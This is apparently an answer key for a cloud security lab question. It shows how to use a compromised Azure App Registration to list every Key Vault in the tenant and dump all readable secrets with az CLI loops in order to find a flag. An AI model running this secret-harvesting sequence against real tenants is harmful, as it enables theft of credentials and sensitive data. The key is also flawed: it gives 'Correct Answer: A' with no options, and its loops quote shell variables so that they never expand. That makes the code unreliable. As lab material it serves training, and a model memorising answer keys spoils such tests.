Using the privileges of the previously compromised App Registration, explore the Azure environment to identify and access sensitive information. What is the final flag retrieved from the tenant?
Correct Answer:
A
The answer is the final Flag{...} value stored in Azure Key Vault and readable by the compromised App Registration.
Detailed Solution:
Stay authenticated as the service principal from Q10.
az account show
List visible Key Vaults:
az keyvault list --output table
If only one vault is returned, use it directly. If multiple vaults exist, enumerate all of them.
for kv in $(az keyvault list --query '[].name' -o tsv); do
echo '===== $kv ====='
az keyvault secret list \
--vault-name '$kv' \
--output table
done
Once you identify secret names, retrieve their values:
az keyvault secret show \
--vault-name <vault-name> \
--name <secret-name> \
--query value \
--output tsv
To dump all readable secrets from all visible vaults:
for kv in $(az keyvault list --query '[].name' -o tsv); do
echo '===== Vault: $kv ====='
for sec in $(az keyvault secret list --vault-name '$kv' --query '[].name' -o tsv); do
echo '----- Secret: $sec -----'
az keyvault secret show \
--vault-name '$kv' \
--name '$sec' \
--query value \
--output tsv
done
done
Look for the final value in this format:
Flag{...}
That returned secret value is the final tenant flag.
Final Answer:
Use the Flag{...} value returned by az keyvault secret show.
